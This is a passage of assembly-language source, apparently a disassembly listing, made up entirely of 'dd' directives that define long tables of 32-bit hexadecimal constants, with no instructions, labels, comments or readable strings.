		dd 24BA80E9h, 0C8FD3B5h, 0D1D3A2E2h, 597A8873h,	4C603C2Ch
		dd 9ED025B8h, 0C9E9128Eh, 0E617D27Bh, 41585602h, 2A3D04F0h
		dd 1A9E497Eh, 1071E75Eh, 0B85E8F94h, 0D587F06Ch, 254F31E9h
		dd 7AA9F46Fh, 2F68CDC8h, 7BF308E0h, 0CA109A68h,	5422D02h
		dd 97D5ABEh, 0CFC304BBh, 682D6BEh, 0F45F48C9h, 4EC6484h
		dd 8805859Ch, 686F83F1h, 36D919CAh, 70CB2D3Eh, 2C4CEA82h
		dd 0C9760187h, 0E744EC82h, 0D5634754h, 0F85339F6h, 5C58C61Ah
		dd 0E86E09D9h, 0F532486h, 27AF46E1h, 0E9645764h, 167F3B72h
		dd 7A013048h, 79B912CCh, 53A6A02Ah, 580FD5B6h, 5D6C6335h
		dd 0F11CD967h, 20C2F525h, 0FE89F729h, 6E49E0FCh, 45907904h
		dd 463EABBDh, 0E60E7B5h, 633C2F68h, 9D2223C5h, 809FD981h
		dd 0CB9BF7A3h, 9889A437h, 0AFBD0429h, 0AFAE8DECh, 1A912A88h
		dd 0DA0E1621h, 3277C92Bh, 75E60985h, 68BE7A36h,	0C6F22D3Bh
		dd 0B88630FDh, 0E312BB10h, 0E0D3B22Fh, 4EF74B96h, 0D7A0E2DBh
		dd 945EBCA4h, 0D684490Ah, 4CDDEE20h, 0ABE3629Bh, 3C6488D5h
		dd 0BD5E9E88h, 1BE7A330h, 4A6E8A82h, 0A74C6F10h, 0C9E6C912h
		dd 0AC6789h, 13516D69h,	2E117DBBh, 30F03753h, 56F02979h
		dd 489DBE00h, 0CE813DCFh, 92B7CE1h, 79EDE971h, 8F95326Eh
		dd 2365C958h, 81D83468h, 0FAC158C7h, 0B5FE07F0h, 0D4FCCF1Ch
		dd 0AEED2A4Eh, 2FAE1FE1h, 3B0C09E2h, 0D42E772Ah, 14E62217h
		dd 91107512h, 30F95A08h, 9008E985h, 4A2FBD47h, 0BA649900h
		dd 66696B43h, 9D9BA329h, 26FBAB56h, 0B2B73E93h,	2C5147B8h
		dd 1BBE4042h, 1848C442h, 0B4357C70h, 1F045171h,	500617Ah
		dd 3B2407CCh, 3A672D07h, 0E8A02E21h, 9070DA14h,	511566E7h
		dd 0B0F27B5Eh, 0D6BC6F9Ah, 0B0A8BCA7h, 34CB5A49h, 0B280BBE2h
		dd 0B996855h, 5D30A167h, 29138DD9h, 0B41627AAh,	314BBF9Fh
		dd 0D10F291Bh, 39C54F91h, 90DCAB07h, 3DEF0B81h,	0AB827B75h
		dd 5C6B4DAh, 55BE95F0h,	601EBB01h, 0DF4065B7h, 5F5BE5ACh
		dd 0ACA6E1B8h, 0CC2F4606h, 45CA040Dh, 0BE291E13h, 0E5427089h
		dd 62F0F478h, 0F709C466h, 0E585F730h, 0E3819DACh, 93C23E02h
		dd 0BD0D7861h, 0C8312380h, 5AB25393h, 0ED88609Bh, 7CBD01C1h
		dd 2B56704Eh, 80C43917h, 5DC5D009h, 0AFFCA99Ch,	5D164C9Ch
		dd 39FA1390h, 0DA61507Dh, 43B102D1h, 5AD6317Ch,	6D6E695Ch
		dd 0E22B66F5h, 0ACE9C244h, 5539BAE2h, 292DF2Ah,	745A3A2Ch
		dd 0D6EC9277h, 0CAA6EFA4h, 0C17E4799h, 0C0361A17h, 8EBA6E85h
		dd 6898613Fh, 71483B8Bh, 16B688E3h, 9B53E98h, 9D3F15Bh
		dd 0BCF5A688h, 5C098462h, 0A24AA568h, 978F8E5Dh, 5DE90F98h
		dd 0C54F73D9h, 0A04DBC28h, 0EF670B5h, 3DB450D5h, 24C0DCA6h
		dd 0A4098073h, 32CEC4E9h, 12C5E50Fh, 35150452h,	0C420AE83h
		dd 0D64EF187h, 54BC0106h, 44D1504Dh, 7BCCD99Ch,	70107D9Ah
		dd 0F62D1DB2h, 8B1119C9h, 41078F8Eh, 0CD54FA96h, 99EBBFF4h
		dd 5B2CBDDDh, 50420011h, 92E96B2Ch, 0F134016Bh,	84DEA09Ah
		dd 10529FD8h, 12E9E4EDh, 0ED32689Dh, 4988FC08h,	277E99B8h
		dd 71DC6011h, 0C0C5C2h,	5D2253BDh, 9BF63374h, 55068B9Fh
		dd 9FD80CB8h, 157F2C85h, 5689AF98h, 23FABF7h, 0DD28A98Eh
		dd 0E1F604CEh, 841BFE4Dh, 0DA1BA40Bh, 0AAA085FCh, 9881144h
		dd 5B514DEAh, 0ED78CE16h, 1DB15103h, 0FA98C980h, 89D0E9FCh
		dd 0B7017330h, 0ACC1E482h, 0B901F779h, 88613CEh, 209AC543h
		dd 0FA201483h, 42F39F6Fh, 5C555D0Ch, 0C96182DFh, 4A47337Eh
		dd 4FC939C8h, 78FDF25Ah, 45C3C82Dh, 222F2F10h, 4B7DCF60h
		dd 8EF67937h, 5209C5BEh, 7C40FA68h, 0E44C295Ah,	58DA2583h
		dd 0E2B04590h, 919EDAB5h, 8897084Dh, 4F416806h,	0AD254E6Fh
		dd 1DF6076Dh, 0FF7850Ah, 0DD982872h, 0D1BD8C5h,	78F8EC87h
		dd 27264024h, 5D5D50Bh,	17BED7BCh, 2969BA30h, 0CE57F03Ah
		dd 5BCD1403h, 0CF01C183h, 0B0B47630h, 0A1D0B5D2h, 6FCA4755h
		dd 572516B3h, 0C888C801h, 0B0503C59h, 283049B7h, 5FFC5BF8h
		dd 0FEC30E7Fh, 21330972h, 0E509B572h, 0FFD5356Dh, 1CD06600h
		dd 0CC133D4h, 14C270CFh, 6D829D00h, 59953890h, 0E95160D9h
		dd 659D7B60h, 0FF5C45D5h, 20068C67h, 0B76525D3h, 55035EE5h
		dd 0B95D6856h, 802F71ACh, 6D41E20Ah, 8513B190h,	3DEBA901h
		dd 0B7B0E4FFh, 0B199C3EEh, 8602C488h, 0B369ABE9h, 1F3DC204h
		dd 7DECF40Ch, 5883313Ch, 327B3A05h, 5DD0193h, 0FE1D049Bh
		dd 0E9B06B52h, 0E16A4AC7h, 9284FEE1h, 55DD09FFh, 3FE9351Bh
		dd 228822ACh, 0AC344CB3h, 23E8D39Eh, 658A2F59h,	0D559CB02h
		dd 68181B6Ch, 0ABD5FDFh, 0D9B38180h, 0D9D480B1h, 0F6C1FE5Bh
		dd 75ACC5D1h, 0C749FE9Dh, 495BA556h, 2B014CC2h,	412840DEh
		dd 78190805h, 0CF64560Fh, 0FE481BE0h, 166FED15h, 0B037051Eh
		dd 419FAC39h, 0E5323007h, 386DD13Fh, 508F930Fh,	0B0FC2F56h
		dd 0AF6C93C7h, 0C6880E71h, 0E2382B8h, 276BF661h, 0ED421640h
		dd 837B6681h, 0AF852FEFh, 0AEC022C5h, 0F0204789h, 39B6BAE7h
		dd 2C26FD88h, 82F816E7h, 89C051B4h, 0EE091565h,	46F18979h
		dd 0FC83D057h, 273A7404h, 4186ED12h, 1F1CA008h,	0BB54E97Dh
		dd 5D4ACDE0h, 0B5EAF028h, 9724F57Bh, 462E6F10h,	0BFD0319h
		dd 0CEB2710Ch, 0F3C0634Ah, 194F1EF6h, 0C6020DFCh, 31967F97h
		dd 0D9543342h, 0AC04B216h, 60A919E6h, 0A48E6D16h, 0BBC826Fh
		dd 895DEA89h, 7EB5A3Eh,	0A062A5F2h, 0E150B446h,	96A22A46h
		dd 0FA79899Fh, 48A782A0h, 594F6D2Fh, 0E23FE9DDh, 5EE93FF1h
		dd 3DBF1B13h, 0AB026B46h, 0E62D1468h, 0B28097BCh, 37FF10DEh
		dd 0BE1D3882h, 0EF1617FEh, 0AE658643h, 0C827D839h, 0E9F504BEh
		dd 89FE6D78h, 4E42AEEh,	49B55435h, 5451F258h, 48FD8B89h
		dd 8B4F525Fh, 0A1BD4A7Ah, 0A124564Ch, 74FEA5DBh, 2CC044D1h
		dd 5DE9756Eh, 0E64FE20Bh, 47C1020Eh, 0D099DAB6h, 0A66E2733h
		dd 0D3F6D66Eh, 3BDAE84Dh, 0FD1F96F9h, 64E7B9A8h, 0E8F85602h
		dd 0EB9C4D39h, 0E90B3B7Bh, 0EF56AE1Eh, 3916029Eh, 0B9ADE782h
		dd 243E535Eh, 0B422AD4Ah, 58D1AAC3h, 0B8608357h, 72DD7345h
		dd 113DED90h, 2383E49h,	0A687E4F5h, 8C7D5C96h, 6C4F1CDDh
		dd 92147F83h, 0C3C895F5h, 0D42837C0h, 0C250ED67h, 7A9D5B07h
		dd 58E4E7BDh, 200A6343h, 71E069B7h, 0D34BF0E9h,	1A1670A3h
		dd 84BA6565h, 5FC1F077h, 0E2911B9Dh, 2BBD43Ah, 0A6B50BFh
		dd 751833D6h, 1E0B0514h, 88E34CB3h, 0AC1DD0AEh,	4513A089h
		dd 0AD521617h, 1CEBB58Ah, 0BB38E0FEh, 370604A1h, 0C80E3C1h
		dd 627A72EBh, 91B8CC5Fh, 9A9E675h, 426A1FBAh, 0B593EDDCh
		dd 0CF80D245h, 8C8A26C1h
		dd 0C4E0247Eh, 5F16C477h, 0BBC0D5ACh, 45F2292Dh, 9340AFBFh
		dd 28BE0084h, 984158F4h, 4EC968D0h, 0B6262116h,	394E6EFBh
		dd 0E0E666A4h, 3025000Ch, 0C5FE5AF5h, 0E917DDF6h, 61E9B7BEh
		dd 0CC05E4D3h, 0BD94999Dh, 70A07F0h, 0FDDF715h,	89CA8A8Ah
		dd 0E72962E9h, 5B517DD6h, 494BB72Fh, 0A4B49637h, 0B4745A27h
		dd 0F5627CA7h, 4C945957h, 0F7C104E5h, 0BF44A534h, 8BE92982h
		dd 0B89E6508h, 3CA0942h, 0DB2F0202h, 0B09C5F7Fh, 6722A4A0h
		dd 0E9742F0Ah, 0F78BADA7h, 0E6045DD0h, 3E80BB48h, 2250F0Dh
		dd 572D4BAEh, 65C16751h, 0BD243449h, 9804011Fh,	0EEE2989h
		dd 0D749785Bh, 41CF0481h, 0EA337710h, 61782C6h,	0B45669C7h
		dd 5B0D659h, 3E9D604Ah,	2941886Eh, 709CA65Bh, 6866095Ch
		dd 0F6542DCBh, 5A5B142h, 6D1EAE5Dh, 94CE2E42h, 2D315861h
		dd 332092E2h, 7D91211Ch, 0D5BD5505h, 0E440B436h, 0DF3409AFh
		dd 16D025E9h, 295862B9h, 59548519h, 407190C8h, 0F99529CEh
		dd 0EDB03DDAh, 77C6E5D9h, 5F68F52Eh, 0D0503002h, 3574C01Fh
		dd 7D5A137Eh, 0C2740B42h, 0F7503256h, 0E460C8DEh, 0A49A92Ch
		dd 0D1AD41FBh, 0A35F4B4Ah, 678A385Eh, 853A5235h, 0EA90BE4h
		dd 24403264h, 4D91608Eh, 58606FC6h, 0C5EA3798h,	0EB4D1ABEh
		dd 489F9B6Ah, 0E5A50983h, 137CFEA7h, 0C1A4F20Bh, 1089880Fh
		dd 4056E924h, 4A4B68F1h, 89A88685h, 17CAE9E3h, 7C1A6C55h
		dd 0DD0082F8h, 0B7C44CC9h, 8BEE890Ch, 12C714C0h, 0B097514h
		dd 135E1D57h, 4151D949h, 8212A2E9h, 0E4C5F24Dh,	0D685C111h
		dd 827634F4h, 2058C6DDh, 909753CBh, 1D5F2DC3h, 4241B33Ah
		dd 7DE0A98h, 7668877h, 4511D13Ah, 0F488F910h, 31AACD56h
		dd 45515204h, 5EDF97ABh, 99FD0709h, 3538C263h, 13595D17h
		dd 0D13DEF7Ah, 0E580453Dh, 7B0DBF57h, 0E9396304h, 0B1D3CD43h
		dd 0D675BA56h, 358C2CABh, 0D3D4F850h, 7101FE6h,	0E6891709h
		dd 9F364BAh, 96C203A2h,	0FD0E30FDh, 4BC7B972h, 0E8D725FAh
		dd 0B98F2CEFh, 4B19B4BCh, 0AFBE940Eh, 0D552868Ch, 915BB60Ch
		dd 0B8A9D96h, 5A221C68h, 0EE2F0CDFh, 0B4761367h, 9145070Eh
		dd 0C10962Fh, 2D2C0FFCh, 8517B434h, 0AD726D27h,	0DB9A7D6Fh
		dd 0A9284AC0h, 0E38B4E96h, 0C24E7E05h, 9A0AA3C7h, 5871D6A4h
		dd 0E4308EC5h, 1B900BCAh, 3102073Ah, 0C92EBC29h, 30B9F5FCh
		dd 54EADC51h, 3361534Fh, 0E804B46Bh, 2C331C7Dh,	0F68116C1h
		dd 0EA2159A9h, 6108D02Fh, 8609878Ah, 0DC7C95E9h, 80059F80h
		dd 530D16F3h, 9D2D6826h, 608ADE78h, 73966A44h, 0B6AC3184h
		dd 30C2013Ch, 2104E0A2h, 0D5875231h, 257448ECh,	100A80E9h
		dd 25C301B9h, 2F1BC2BBh, 566006A1h, 0E1A2B596h,	15E5FBEBh
		dd 2CE22F1Dh, 63CB2605h, 0A0D4B056h, 6F17C9CAh,	3706393Ah
		dd 6B51609Eh, 5FA0F685h, 17822F08h, 5D2462BDh, 0F75BA690h
		dd 52DBC8EDh, 0B85B8A98h, 5C05EFDFh, 3013FE68h,	0E0E9548Dh
		dd 0F9279D3h, 45687D05h, 0D0B8C801h, 0F85BA962h, 0FD967F5Fh
		dd 0E566B600h, 0E9F8092Ch, 179E96E6h, 14F3F9F6h, 77215194h
		dd 4EA1925Dh, 1F4E8FCh,	1977F2C8h, 0B719302Ah, 92029A41h
		dd 0E05F8917h, 30438D8Eh, 5E340FE5h, 0E9E4171Ah, 0F123852Fh
		dd 0DAD449C0h, 75AA842h, 0D1326555h, 3AB8041Ch,	0B84C23E0h
		dd 25C6B2C4h, 7E627EC6h, 95A544F5h, 871369F3h, 35A0CD52h
		dd 6D5A2E7Dh, 505D1084h, 2A0905E0h, 2896F66h, 0E76C62Ah
		dd 0AC8B09AAh, 4CC91FF3h, 0BD97DE4Ch, 8B33DA07h, 96E931C1h
		dd 92D7181h, 5674633h, 49368E07h, 72C887Dh, 5E11503Eh
		dd 1B1A30E3h, 66296402h, 4A68D9E9h, 4C814C6Bh, 164A9E97h
		dd 0E91A6CC4h, 2533E5Dh, 6851EB86h, 4E46FDF8h, 8F4B0FBAh
		dd 9F981313h, 0FE3314B7h, 4D04B3CFh, 0EEDAD8E9h, 0B9519620h
		dd 0CE1517E4h, 797F0128h, 70693603h, 4081B78Dh,	0B8FB8E43h
		dd 1331DDAEh, 0FF295DE8h, 0B26B822Dh, 0F5A4D356h, 0FE34B2A6h
		dd 0F2D1E4CAh, 0FC14BA0Ch, 0A50603Fh, 2C59C828h, 0B8523630h
		dd 73CF80EBh, 17E770ECh, 0F806EFC0h, 2F84D46Fh,	8821D18Ah
		dd 0E4269BE5h, 8F788202h, 60E74277h, 9F6B472Fh,	965D4A62h
		dd 4AF0B563h, 0DE16CA2Dh, 0F100C06h, 1A67EA0Ah,	55C94A1Ch
		dd 0B16C0605h, 0C4642F6Fh, 0E957D970h, 0B3565B19h, 0E55F8F74h
		dd 0C353A102h, 207D3EF8h, 94BFE2FAh, 91E82D06h,	1EC19E13h
		dd 108232ABh, 2D7B979Ah, 66DEF8F7h, 3B0C52E3h, 0DDAEE079h
		dd 0FFE5ADEDh, 55EA1A3Fh, 4C7D8B3Fh, 930F519h, 0D1AD406Fh
		dd 0F6A6E25Eh, 0F300162Dh, 4B4F4EBDh, 25188B7h,	8702C020h
		dd 294CC7AEh, 6956F4EBh, 9528A5F6h, 54514B03h, 0DE7CE978h
		dd 6D8E2CDFh, 134A6DCh,	3E44105Ah, 0AF8CF443h, 644EA74Ah
		dd 34E3A1EAh, 7C665D53h, 96CF1C5Eh, 8953E1D5h, 74DE0338h
		dd 162342FDh, 17862016h, 0B3535A1Eh, 0D7408F68h, 6C58585Dh
		dd 1592A2Fh, 31F8FD94h,	565CADECh, 0EEAB642Eh, 0D607C65Eh
		dd 2CD1055Ah, 0EED433DEh, 3A191310h, 7241001h, 5F11A275h
		dd 565C044Ch, 0D868B30Ah, 2A3E6572h, 95F71DE9h,	0F77341F8h
		dd 4F894C95h, 68A10080h, 603E14D1h, 33204590h, 4A6997A6h
		dd 0CB82F3B1h, 0E905D3F9h, 8D89FB2Ch, 0BEE9B56Bh, 0C20AAF66h
		dd 34E055BDh, 55821B24h, 0A129BF34h, 5701DC4Fh,	5313E52Dh
		dd 97D709D6h, 5550ADC2h, 0E3FEFBEEh, 0CC15BE0Eh, 53C02468h
		dd 0D905C4E3h, 0E35F3276h, 2F0296DEh, 0D5A3B6E5h, 165FFE89h
		dd 4DF2301Ch, 1D51EDAFh, 0F14CC02h, 879A8480h, 0FAE21C0Ch
		dd 0EE20F502h, 0E5881EF6h, 0BEA1158h, 9088D4Ah,	19041614h
		dd 49EADBE9h, 63F43AEFh, 0C256B45Bh, 7D8558C7h,	0E2FAFC53h
		dd 0AF2675D2h, 91FFB399h, 3C4A92C0h, 53025615h,	46120D68h
		dd 0D981A90Bh, 3D04A54h, 17115203h, 1618F7E0h, 4F13B418h
		dd 223120Eh, 0E94761A7h, 0D84401A9h, 8718CA03h,	0E9EBD167h
		dd 392F667Dh, 0E1612A1Eh, 5A02C1CBh, 0C59FC5B8h, 12D5B982h
		dd 4F202A75h, 2EBD81A6h, 125642F4h, 0E8712268h,	208CC1DBh
		dd 5F293D04h, 0DF09C338h, 3042FE17h, 0B1951770h, 93B48F6h
		dd 5A0043F9h, 0F742A18h, 6B0BFA9Fh, 0B0E283A2h,	0A0F2B433h
		dd 0D29F7A58h, 2EA5A089h, 55F827Dh, 748093CFh, 16D7F695h
		dd 940F780h, 0B770873h,	4B014687h, 0FAF9C485h, 0B17E182Dh
		dd 3417CC66h, 8F3E0FB8h, 59740246h, 0F59F10E9h,	5A76F718h
		dd 0BDC36991h, 0C1088703h, 32D763E9h, 8A0F05FAh, 0B6E2F44Ah
		dd 0AA896D85h, 6ED7C27h, 0F540977Eh, 0BA3FB0B6h, 732DD070h
		dd 1343FE04h, 5561BA4Bh, 7D096598h, 6121D29Eh, 0A06990D2h
		dd 1272C603h, 0C07373Bh, 3E039F8h, 2CCDE6C0h, 206E981Bh
		dd 6098D33Ah, 38F0712Ah, 0EA09A4B5h, 9ACF6D5h, 4C946C4Dh
		dd 0B25C1106h, 20005648h, 0F4C6115h, 0C05F8482h, 1172EEADh
		dd 18C95A3Ch, 987D78D9h, 0F40B5EBh, 6082A25Bh, 0B5556D37h
		dd 3E2FB4CCh, 0AC957147h, 75C425E1h, 6920A990h,	0DB5A01Eh
		dd 65022567h, 0E8F49B75h, 23B0BCBh, 830F040Ah, 8A488836h
		dd 0FD82D120h, 0FE25CA65h, 4BA84F23h, 0E80B6126h, 48A94E9Fh
		dd 3E38FF51h, 3166D28Bh, 5B48E6FAh, 590C40F2h, 288F60B5h
		dd 0EA3F9CD7h, 78EA0229h, 4A7552F0h, 0D4080982h, 3D7C8865h
		dd 7C6C2DBFh, 1858C1D3h, 55AF8804h, 0ED622790h,	6D4FC50h
		dd 0B2F109E6h, 20A1649Ah
		dd 22B4B0D1h, 9EBD5500h, 0C702A04Bh, 0C541BB82h, 0BBC0AA3Eh
		dd 77BD3B2Bh, 0BA52010Dh, 3FB06909h, 82A46121h,	9FDA8E2Eh
		dd 2EC1DDE7h, 0DBE06F89h, 5E8C40AAh, 7F6B519Eh,	2572158Bh
		dd 2D7461B7h, 5E8493Bh,	5102F2DAh, 4C208AB9h, 28A07574h
		dd 4102E1C1h, 8541CEDDh, 0CEE9EA14h, 0A23EB025h, 0FAD77Eh
		dd 0E922F25Dh, 2F9E504Eh, 0ADF04093h, 246209BEh, 200266Fh
		dd 21550141h, 0ABFDE917h, 5A4E22BFh, 80B7E655h,	4A467F96h
		dd 0DA70C048h, 8300161h, 39860E4Dh, 0EC3150D9h,	25EA13BAh
		dd 0C798E0DEh, 0E6CC6841h, 6EE8A83Fh, 4510B5C3h, 0CC985D54h
		dd 0FA88EC91h, 20D128CCh, 554FF6BAh, 0E51E5461h, 1C9BE79h
		dd 4A200A10h, 68A01897h, 0E8715AC8h, 420CCB77h,	4F14F933h
		dd 0FAD27ACBh, 7658C225h, 147883A4h, 0EFCC0357h, 9F823634h
		dd 8FA9297Fh, 0C269367Dh, 0DEE95C0Dh, 44B0D6F8h, 5F2C2B90h
		dd 5427637Ch, 0BE9053Dh, 681498B4h, 0F34C6427h,	0F95516A8h
		dd 0DF56CBE7h, 0FDF88396h, 0EFD0D99Fh, 0BF90AFEBh, 3F12E2F7h
		dd 0F00107B4h, 50C3402Ah, 811C843Eh, 0C511EDC1h, 6212B427h
		dd 91C081Ah, 142B117h, 625368E4h, 66D48929h, 9460B805h
		dd 4AC335BDh, 9B10AF32h, 20A44C08h, 4E38EA8Ah, 0FC1F9049h
		dd 5D5E4011h, 89DE4CEDh, 6FA006E9h, 136268ADh, 0E8899ABDh
		dd 4F02D70h, 0E97C370Bh, 99FEC41h, 7C936859h, 40D94956h
		dd 59B25261h, 0C92CA12Ah, 0B65AD8E8h, 0C6283702h, 559A16E9h
		dd 0B5FC2A1Ch, 0BA01419Ch, 522110A1h, 0F76CC13Ah, 50A89DAh
		dd 0E902014Ah, 0A3F3FADDh, 0CBEABDFFh, 857D264Dh, 614D54AFh
		dd 41F103E9h, 0E53F7517h, 33F02ED7h, 91EF5D4Fh,	350CEF4Ah
		dd 16A55h, 0BD0D410Bh, 0FE54A83Ah, 823088F3h, 8B521DD6h
		dd 0AA66A36Bh, 742D7DB2h, 68DA91C1h, 9E2665EDh,	65DD9210h
		dd 0E3A35E80h, 84049A48h, 0C1129516h, 0D99B6014h, 3B687EBh
		dd 137CA0Eh, 8828869h, 9801C30h, 9D4D7EB0h, 8800850h, 0E9175D59h
		dd 0C9E38C29h, 2CC6110h, 2879C780h, 8C59E3F9h, 510EB800h
		dd 799F4B7Bh, 0F95F133Dh, 6BE39616h, 32EE6809h,	0A8B75E22h
		dd 41A9450Fh, 0A66B7921h, 0D3DE5902h, 3226BB82h, 14BAD758h
		dd 27080C08h, 12D87EF2h, 25686784h, 14C010D3h, 0B3267415h
		dd 22B46B39h, 28220A5Ah, 0F2279918h, 8BEA9DAAh,	7056DB31h
		dd 22BF791Ah, 66E396F1h, 4B29B0C0h, 4A96B688h, 300D2DBFh
		dd 0B88076C5h, 0E84E4AF7h, 8D7E2AAAh, 1D54BA07h, 1A24FEBh
		dd 0F84CD706h, 809C04Fh, 0C2D47C5Eh, 72E1F1F7h,	0C4822C56h
		dd 0BB078542h, 8BFE67A2h, 3C40B16Ah, 162BD61h, 0FF5BDA04h
		dd 0EA3C5B4Ch, 6E6A9840h, 0F5D3D0Ch, 0FA2923CEh, 3408C2CAh
		dd 8814100Ch, 685ECC20h, 8B136FA9h, 0E23D9634h,	9BF2155Fh
		dd 0FBF5F302h, 0C4FF6BE2h, 0C2093B90h, 96E071A7h, 0B305D1B9h
		dd 0CB29E488h, 0F85AEEA3h, 0E8855123h, 390BA33Eh, 0EE4814E9h
		dd 49D2A069h, 19C9243Bh, 418C057Ah, 0EEC7039Eh,	35AA1E1Ah
		dd 980CC4F2h, 28266055h, 2D0C24A4h, 52F60139h, 0F1D48958h
		dd 2FBC2BE9h, 77C42675h, 531596AAh, 329EB81h, 57EE07Bh
		dd 0C0275472h, 20067E14h, 5842BC07h, 3E4E30B6h,	80807DE0h
		dd 0E313C181h, 44BA68F0h, 8C703346h, 0D003BD3Bh, 0B9219715h
		dd 310B16F0h, 845717E9h, 3D01FB82h, 6788135Fh, 697A48DAh
		dd 0BED2511h, 1207F708h, 0B625AE58h, 41832FF4h,	411B44FBh
		dd 2805C3DDh, 0DE773067h, 80A6E92Dh, 469BBA99h,	0C41D4A77h
		dd 10C5A978h, 0F24BD0B4h, 0C2567C57h, 9FB84FD4h, 243EB441h
		dd 227BFECh, 0E8B899D5h, 5CB8B74Eh, 625412EDh, 67053CF3h
		dd 84DBF680h, 2AC78332h, 0EA1E3FB6h, 1C1D3585h,	244EF28Eh
		dd 81AE6048h, 7BBE0AEEh, 20688698h, 0FBFE426Ah,	1EFD164Eh
		dd 65FABD93h, 1AB5F33Ah, 0C44F945h, 8792F721h, 9A4561Bh
		dd 3AE2C38Bh, 4F2ACC77h, 0C203E3DFh, 7ED14DE9h,	4051E681h
		dd 0F8720701h, 5810E90Bh, 0CEFE22Ah, 858EEF84h,	43CD4077h
		dd 49F418C4h, 81EBD107h, 44504189h, 9689BB2Eh, 8002ECF9h
		dd 356670E1h, 95C73A34h, 23656871h, 451A8E6Eh, 616E16h
		dd 69ACB31h, 9ED70DD9h,	0E8E9134Eh, 0BD584344h,	0A597BF7Fh
		dd 20E7F1E3h, 1C0081CFh, 0C8096773h, 1260D59h, 353ECC39h
		dd 7AFF3FABh, 4CBB29C0h, 0D1431309h, 216F4E5h, 3E03F897h
		dd 0F9CA6737h, 0B67F13C9h, 0D829C509h, 0E1752D3Ch, 0F2208966h
		dd 85D8BD9Dh, 307A96B5h, 805EC0E8h, 9FFEC1C5h, 5166E8E1h
		dd 0BDF0B176h, 0E9C82809h, 80E5A3E5h, 0AB83EDEFh, 950C2E4Dh
		dd 5B69109Fh, 0BFC3EF8Ch, 2FDF3FAAh, 0E07F4BCAh, 0B2A5E90Dh
		dd 5CFEEB3Dh, 0CAC22F3Ah, 0F03931DDh, 7F117801h, 57275DB7h
		dd 58D4C70Bh, 643BE9E2h, 7914276Ch, 6F603812h, 8080AD7Ah
		dd 6A863C3h, 87B7288Dh,	0B45053EBh, 1887EEDDh, 9BD78C6Bh
		dd 0A892ED87h, 14F6F46Ah, 218B1700h, 5E8C140h, 67800935h
		dd 2845A9Ah, 9F1012CBh,	34977FBAh, 0E95C09C9h, 0FC73C0A2h
		dd 82BA5200h, 24F3073h,	6817E281h, 0FF40692Ah, 64053799h
		dd 0A0EEE918h, 2C5C0FB4h, 55AB456h, 23903A86h, 0B276280h
		dd 759F89BEh, 5545C745h, 0F32D07A4h, 50228C6Ah,	3E426812h
		dd 347331BEh, 0F33307B9h, 0D549D238h, 0A5127F18h, 0E9101383h
		dd 0FA335395h, 0B9ACEE24h, 3AC1573Fh, 11EA99Bh,	8B4E3CF2h
		dd 1AC961Ah, 88F109A4h,	0E9A26A0Eh, 6E5FCECFh, 0FC544AD4h
		dd 773404E1h, 61807094h, 5E6B88D0h, 0F938C48Fh,	687B895Ch
		dd 2834F597h, 279A1C59h, 0FB2A5211h, 0F05088C1h, 0BB042C16h
		dd 0B0157E47h, 3BAE9824h, 0A25A5919h, 46F630D6h, 0AB328981h
		dd 3E16497Ah, 0C7F4654Ah, 6F67F21Eh, 7AEAD468h,	3F655BBDh
		dd 0E2AC4393h, 5C7178B1h, 0F79210C3h, 709EC2D2h, 1A6E9FF6h
		dd 0B0D07320h, 45424F7Bh, 0A4854C1Dh, 0ED40819Ah, 0B6C35961h
		dd 0D65B0342h, 564B07E9h, 5960E3DDh, 36571394h,	4173A938h
		dd 0C98E7F08h, 0E094AD24h, 2C08C781h, 4237032Ch, 8808528h
		dd 0BB2DE95Bh, 6850A148h, 302E43B7h, 60164A54h,	2F5F524Ch
		dd 200EC6D5h, 249DD2F5h, 7FB71FAh, 0F3CF89A2h, 8907D793h
		dd 45C856A6h, 7DB4FDA5h, 667712CFh, 0F7D70018h,	7DD52678h
		dd 0C6FA8928h, 28CCDF20h, 0A86515Dh, 958071Fh, 85616C5h
		dd 6417D3B9h, 0F83356FAh, 0E955E05Eh, 2F6D9E8Fh, 95BDF8D9h
		dd 30B6C31h, 0FC33B2BBh, 2D6E94Eh, 8456E23Fh, 531D6B75h
		dd 0EA44FE70h, 98E349A0h, 829DF0Fh, 0BA3AE945h,	73BECF16h
		dd 775E5310h, 0A381D074h, 0C96A911Bh, 1470C809h, 0C13DA506h
		dd 21205E2h, 4A0F473Ch,	0BB59D101h, 710BD9A4h, 55A9B2FDh
		dd 3325B7F2h, 0B50CC441h, 146BEEF1h, 70789AB6h,	74E848C3h
		dd 0BB905CC4h, 0A5081ECDh, 12ED4CA5h, 4D9068C2h, 5D7A34FCh
		dd 65E011CEh, 0A12B5D81h, 27CD7A7Bh, 6E92906Bh,	6CE1B94Fh
		dd 5D074096h, 7F055548h, 66D0E197h, 0C295B63Fh,	566F1EE9h
		dd 18E686ECh, 0F61F0A78h, 0EDD6F115h, 355C614Dh, 0A2E7DAE7h
		dd 84CFCF8h, 0DDD25D8h,	4B7E0C66h, 8A545ACAh, 289A994Ah
		dd 0D5934281h, 625543CAh, 0A5115FB1h, 0E2D5EAB0h, 24865700h
		dd 0E7EB0EA7h, 7AFF10AEh, 74D87DCBh, 36CED6B1h,	46CB0D93h
		dd 52DCA5D6h, 17DD8ABBh, 0DAADD102h, 0F39B6239h, 3E0A0622h
		dd 0FE045BD8h
		dd 20BAD83Ah, 14585FB3h, 0E24E1ECDh, 924FA77Ah,	0E9AE8CBFh
		dd 203FF02Dh, 33681D48h, 0AABB1C4Fh, 31094B0Eh,	0B6C39940h
		dd 403E5514h, 0BC6905F6h, 2B95867Bh, 10AC8BAEh,	0CA4A80ABh
		dd 0A841106Dh, 6EF7E9A1h, 3034A21Ch, 0B050B900h, 0A1102C26h
		dd 0AA057E8Ch, 46234A12h, 0AB12ACF6h, 0BDD57781h, 0E8B61097h
		dd 9E32560h, 0C70F6B6h,	0C779F644h, 6C412D18h, 0BE51045Ah
		dd 6B5E4975h, 0F273A320h, 56028A92h, 587AC043h,	0E906812Dh
		dd 0DE23AA76h, 1F2E4A78h, 0A848559Bh, 25AEBC4Fh, 0DB5FFCB4h
		dd 0B9D7A89Ah, 0AE88564Eh, 2C26D067h, 2F0FB424h, 0A96E0F5Fh
		dd 9703D81Fh, 9FFEF416h, 4FB0489Fh, 1327711Dh, 884DDDF7h
		dd 0BDA25E92h, 0D990D2D2h, 5E89F540h, 84FD12EFh, 42DC8FACh
		dd 0CBE9093Ah, 0EEDE1097h, 873A5ED0h, 8A61D2EEh, 0D12D5972h
		dd 2836F6EBh, 53FC0024h, 0B8506FDAh, 0D92D639Eh, 0C78EF071h
